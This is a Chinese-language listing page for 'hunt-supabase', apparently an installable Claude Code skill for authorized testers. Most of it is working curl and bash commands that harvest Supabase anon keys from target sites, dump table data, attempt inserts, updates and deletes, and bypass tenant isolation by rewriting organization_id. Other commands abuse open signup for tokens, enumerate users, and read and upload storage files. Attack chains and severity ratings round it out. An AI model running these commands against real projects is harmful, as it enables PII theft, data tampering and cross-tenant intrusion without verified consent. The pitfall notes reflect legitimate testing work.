关于 hunt-supabase
面向授权安全测试人员的 Supabase 安全审查技能,涵盖项目发现、RLS 与多租户访问检查,以及 Auth、RPC 和 Storage 的验证。它还提供攻击链、风险评级和注意事项,帮助区分公开配置与可利用访问。
主要功能
- 01发现 Supabase URL 和 anon key
- 02检查表数据及 RLS 读写权限
- 03验证组织 ID 越权与 RPC 数据范围
- 04检查 Auth 注册和用户枚举
- 05探测 Storage 桶及文件访问
- 06提供风险评级和误报提示
适用场景
- 01审查获准测试的 Supabase 项目
- 02验证匿名或已登录用户的数据访问边界
- 03测试多租户应用的组织隔离
- 04评估 Storage 暴露和开放注册风险
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-supabase安装后在 Claude Code 中输入/hunt-supabase确认已加载。
详细介绍
HUNT-SUPABASE — Supabase 利用
皇冠明珠目标
Supabase 是开源的 Firebase 替代方案。它使用 **行级安全(RLS)**进行访问控制,但 RLS 策略经常配置错误,尤其是在快速开发技术栈(Lovable.dev、Bolt.new、Cursor)中。
价值最高的发现:
- 通过 anon key 访问公开表 — 当 RLS 已禁用或策略过于宽松时,使用 anon key 的 REST API 会返回表数据。严重。
- 通过 organization_id 绕过 RLS — UPDATE 操作会检查用户所有权,但不会检查 organization_id -> 可跨租户访问数据。严重。
- 返回全局数据的 RPC 函数 — 未按 auth.uid() 进行筛选的 SECURITY DEFINER RPC 函数 -> 返回所有用户的数据。高危。
- 未启用 RLS 的存储桶 — 可公开列出、上传和下载文件。高危。
- 开放注册 — 任何人都可以注册并获取 JWT。高危。
- 多租户枚举 — 同一开发者构建的多个应用中存在相同的 RLS 配置错误模式。中危。
阶段 1 — 查找 Supabase 项目
可通过 URL 格式识别 Supabase:https://[PROJECT_REF].supabase.co;anon key 格式为 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...(以 eyJ 开头的 JWT)
1.1 在 JS Bundle 中搜索
# Download JS bundles and search for Supabase
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'src="[^"]*\.js"' | cut -d'"' -f2 | while read js; do
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$js" -o "/tmp/$(basename $js)"
done
# Search for Supabase URL pattern
grep -rEn 'https://[a-z0-9-]+\.supabase\.co' /tmp/*.js
grep -rEn 'supabaseUrl|SUPABASE_URL|supabaseKey|SUPABASE_ANON_KEY' /tmp/*.js
# Search for Supabase JWT anon key
grep -rEn 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\.[^[:space:]]+' /tmp/*.js
# Quick one-liner
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'https://[a-z0-9-]+\.supabase\.co'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo '(?:supabaseUrl|SUPABASE_URL)[": ]+[^"'\''\s]+'
1.2 在 .env 和配置文件中搜索
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env" | grep -i "SUPABASE"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env.production" | grep -i "SUPABASE"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/config.js" | grep -i "supabase"
# JSON config files
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/manifest.json" | python3 -c "import sys, json; d = json.load(sys.stdin); print(d)" 2>/dev/null
1.3 从源映射文件中提取
# Check source maps for Supabase config
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'sourceMappingURL=[^\s"]+' | cut -d= -f2 | while read sm; do
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$(echo $sm | sed 's|^/||')" -o "/tmp/$(basename $sm)"
done
cat /tmp/*.map 2>/dev/null | python3 -c "
import sys, json, re
try:
data = json.load(sys.stdin)
sources = data.get('sourcesContent', [])
for src in sources:
if not src: continue
urls = re.findall(r'https://[a-z0-9-]+\.supabase\.co', src)
keys = re.findall(r'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\.\S{50,}', src)
for u in urls: print(f'URL: {u}')
for k in keys: print(f'ANON_KEY: {k}')
except: pass
" 2>/dev/null
阶段 2 — Supabase 侦察
获取 Supabase URL 和 anon key 后:
SUPABASE_URL="https://xxxxxxx.supabase.co"
ANON_KEY="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
# Step 1: Verify the project exists
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/" -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Step 2: OpenAPI/Swagger spec (sometimes exposed)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/?apikey=$ANON_KEY"
# Step 3: Try to list all tables (requires RLS listing to be enabled)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/?" -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Step 4: Common table names to try
for table in users profiles user_profiles customers orders products messages posts comments settings config api_keys tokens sessions accounts transactions documents files uploads; do
response=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "$SUPABASE_URL/rest/v1/$table?limit=1" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY")
if [ "$response" = "200" ]; then
echo "[+] PUBLIC TABLE: $table"
# Sample the data
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$table?limit=2" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" | python3 -m json.tool | head -20
fi
done
阶段 3 — 使用 Anon Key 枚举数据
3.1 读取表数据
# Read all data from a table (Supabase REST API uses pagination)
TABLE="users"
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=*" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Paginate through all rows (1000 per page default)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=*&limit=1000&offset=0" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Select specific columns
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=id,email,username,role" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Filter rows
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?role=eq.admin&select=id,email" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Count total rows
curl --max-time 30 --connect-timeout 10 -sk -I "$SUPABASE_URL/rest/v1/$TABLE?select=*" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" | grep -i "content-range"
3.2 尝试写入访问权限
# Try inserting (CRITICAL if works)
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/rest/v1/$TABLE" \
-H "apikey: $ANON_KEY" \
-H "Authorization: Bearer $ANON_KEY" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"test_column": "pwned"}'
# Try update
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/$TABLE?id=eq.1" \
-H "apikey: $ANON_KEY" \
-H "Authorization: Bearer $ANON_KEY" \
-H "Content-Type: application/json" \
-d '{"admin": true}'
# Try delete
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "$SUPABASE_URL/rest/v1/$TABLE?id=eq.1" \
-H "apikey: $ANON_KEY" \
-H "Authorization: Bearer $ANON_KEY"
阶段 4 — 通过篡改 Organization ID 绕过 RLS
这是多租户应用中最常见的 Supabase 漏洞。
4.1 通过 UPDATE 跨组织 IDOR
# If RLS allows UPDATE on your own profile but doesn't check organization_id:
# Step 1: Get your user profile
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/profiles?id=eq.{MY_ID}" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"
# Step 2: Try to change your organization_id to the target org
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/profiles?id=eq.{MY_ID}" \
-H "apikey: $ANON_KEY" \
-H "Authorization: Bearer $USER_JWT" \
-H "Content-Type: application/json" \
-d '{"organization_id":"TARGET_ORG_UUID"}'
# Step 3: If 200 -> Now you see the target org's data!
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/projects?organization_id=eq.TARGET_ORG_UUID" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"
4.2 未按组织筛选的 RPC 函数
# RPC functions often return GLOBAL data without checking org membership
# Step 1: List available RPC functions
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/rpc/" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"
# Step 2: Try common RPC names
for rpc in get_stats get_dashboard get_analytics get_metrics get_summary get_report; do
response=$(curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/rpc/$rpc" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT" \
-H "Content-Type: application/json" -d '{}')
if echo "$response" | python3 -c "import sys, json; json.load(sys.stdin); print('OK')" 2>/dev/null; then
echo "[+] RPC accessible: $rpc"
echo "$response" | python3 -m json.tool | head -20
fi
done
4.3 通过 WHOIS 枚举多租户
# If the same developer/agency built multiple apps, they share the same RLS flaws.
# Step 1: Get the target domain's WHOIS to find the owner/dev
whois $TARGET | grep -iE "email|org|name|admin"
# Step 2: Search crt.sh for other domains owned by the same org
curl --max-time 30 --connect-timeout 10 -sk "https://crt.sh/?q=%25.$TARGET&output=json" | python3 -c "
import sys, json
try:
data = json.load(sys.stdin)
domains = set(d['name_value'] for d in data)
print('\n'.join(sorted(domains)))
except: pass
"
# Step 3: Test each for Supabase with the same broken RLS patterns
阶段 5 — 利用 Supabase Auth
5.1 开放注册
# Check if email/password signup is enabled
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/auth/v1/signup" \
-H "apikey: $ANON_KEY" \
-H "Content-Type: application/json" \
-d '{
"email": "[email protected]",
"password": "TestPassword123!"
}'
# HTTP 200 with access_token + user = OPEN SIGNUP!
5.2 从注册中提取 JWT
# If signup succeeds, extract the JWT and use it for authenticated requests
SIGNUP=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/auth/v1/signup" \
-H "apikey: $ANON_KEY" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"TestPassword123!"}')
ACCESS_TOKEN=*** "$SIGNUP" | python3 -c "import sys, json; print(json.load(sys.stdin).get('access_token', 'NONE'))")
# Use this JWT for authenticated API calls
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/users?select=*" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ACCESS_TOKEN"
5.3 暴力枚举用户
# Supabase returns different errors for existing vs non-existing users
for email in admin@$TARGET user@$TARGET info@$TARGET support@$TARGET; do
response=$(curl --max-time 30 --connect-timeout 10 -sk -w "%{http_code}" -o /dev/null "$SUPABASE_URL/auth/v1/signup" \
-H "apikey: $ANON_KEY" \
-H "Content-Type: application/json" \
-d "{\"email\":\"$email\",\"password\":\"Test123!\"}")
# HTTP 200 = new user created
# HTTP 422 = email already exists -> VALID USER
# HTTP 400 = validation error
echo "$email: $response"
done
阶段 6 — 利用 Supabase Storage
# Step 1: List storage buckets (if RLS allows)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/bucket" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Step 2: If buckets found, list files
BUCKET="files"
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/object/list/$BUCKET" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Step 3: Download a file
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/object/public/$BUCKET/filename.pdf" \
-o /tmp/downloaded_file
# Step 4: Upload a file (test write)
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/storage/v1/object/$BUCKET/test.txt" \
-H "apikey: $ANON_KEY" \
-H "Authorization: Bearer $ANON_KEY" \
-H "Content-Type: text/plain" \
-d "pwned"
# HTTP 200 with Key -> upload allowed!
# Step 5: Get public URL for uploaded file
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/object/public/$BUCKET/test.txt" \
-H "apikey: $ANON_KEY"
阶段 7 — 攻击链
链 A:JS 中的 Anon Key -> 导出公开表数据
JS bundle contains supabaseUrl + anon key ->
Try common table names (profiles, users, orders) ->
RLS disabled -> Dump ALL data ->
PII breach (emails, names, addresses)
链 B:开放注册 -> 已认证访问 -> 写入
Supabase signup endpoint accepts new users ->
Create account -> Get JWT ->
Use JWT for authenticated REST API calls ->
Access tables that require auth but have no ownership checks
链 C:通过 Org ID 绕过 RLS -> 跨租户访问
UPDATE profiles where id=my_id set organization_id to target_org ->
RLS checks auth.uid() matches id but NOT organization_id ->
Switch org context -> See target org's data ->
Indirect cross-tenant attack
链 D:RPC 函数 -> 访问全局数据
RPC function defined as SECURITY DEFINER with no filter ->
Any authenticated user calls get_stats() ->
Returns aggregated data from ALL tenants ->
Data leakage
验证严重程度
| 发现 | 严重程度 |
|---|---|
| Anon key 可对包含 PII 的表执行 SELECT | 严重 |
| Anon key 可执行 INSERT/UPDATE/DELETE | 严重 |
| 开放注册(任何人都能创建账户) | 高危 |
| RPC 返回跨组织数据 | 高危 |
| 存储桶可公开列出或下载 | 高危 |
| 存储桶可公开上传 | 严重 |
| 通过注册枚举电子邮件地址 | 低危至中危 |
| 通过篡改 org_id 绕过 RLS | 严重 |
| 表缺少 RLS 策略 | 高危 |
| 仅有 Supabase 项目 ID(无 key) | 信息提示 |
验证
运行此自测,以确认 Supabase 搜索准备就绪:
-
技能完整性 — 确认技能文件可读且格式正确:
grep -q "name: hunt-supabase" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能包含类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分 — 确认已记录陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
这 3 项测试可验证技能结构正确且已准备就绪。
陷阱
- Supabase anon key 暴露 — anon key 本来就是公开的。它授予受 RLS 限制的访问权限。真正的问题在于缺少 RLS 策略。
- 绕过 RLS 的公开存储桶 — 如果 RLS 策略允许公开读取存储内容,这是预期行为。需要确认是否能访问本应私有的数据。
- Supabase URL + anon key 作为凭据 — 这些是配置值,不是秘密。应根据 anon key 通过缺失的 RLS 能访问哪些内容来评估影响。
- Supabase 实时订阅未包含敏感数据 — 订阅公开频道是预期行为。需要确认是否能订阅私有频道。
相关技能
hunt-firebase— Firebase/Firestore/GCP 同类目标利用(类似匿名密钥模式)hunt-source-leak— 在 JS 包、.env、源映射中发现 API 密钥hunt-idor— 通过 organization_id 绕过 RLS 是 IDOR 的一种变体hunt-api-misconfig— REST API 端点枚举方法hunt-cors— Supabase REST API 端点上的 CORShunt-schema-enumeration— 错误提示枚举技术(发现 Supabase 表名的主要方法)hunt-write-gap— 通过架构枚举找到表后,测试 PATCH/POST/DELETE
错误提示枚举 — 架构发现
查询不存在的表时,PostgREST 会返回表名提示。这是映射整个 Supabase 架构最快的方法:
SUPABASE_URL="https://PROJECT.supabase.co"
ANON_KEY="eyJ..."
# Fuzz common table names — PostgREST hints reveal real tables
for table in users profiles posts products orders data config settings \
sessions subscribers movements payments transactions wallets accounts; do
result=$(curl --max-time 30 --connect-timeout 10 -sk "${SUPABASE_URL}/rest/v1/${table}?select=*&limit=1" \
-H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" 2>/dev/null)
hint=$(echo "$result" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d.get('hint',''))" 2>/dev/null)
if [ -n "$hint" ]; then echo " ${table} -> ${hint}"; fi
done
# Response pattern: {"hint":"Perhaps you meant the table 'public.real_name'"}
# Build wordlist from hints, iterate until no new tables discovered
映射完架构后,继续使用 hunt-write-gap 测试已发现表上的写入操作。
常见 Supabase 发现格式
# Quick test: does the target use Supabase?
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'https://[a-z0-9-]+\.supabase\.co'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'anon[": ]+["]*eyJ'
# Check Google dorks for Supabase
# site:target.com "supabase.co"
# site:target.com "supabaseUrl"
# site:target.com "SUPABASE_ANON_KEY"
评论
支持 Markdown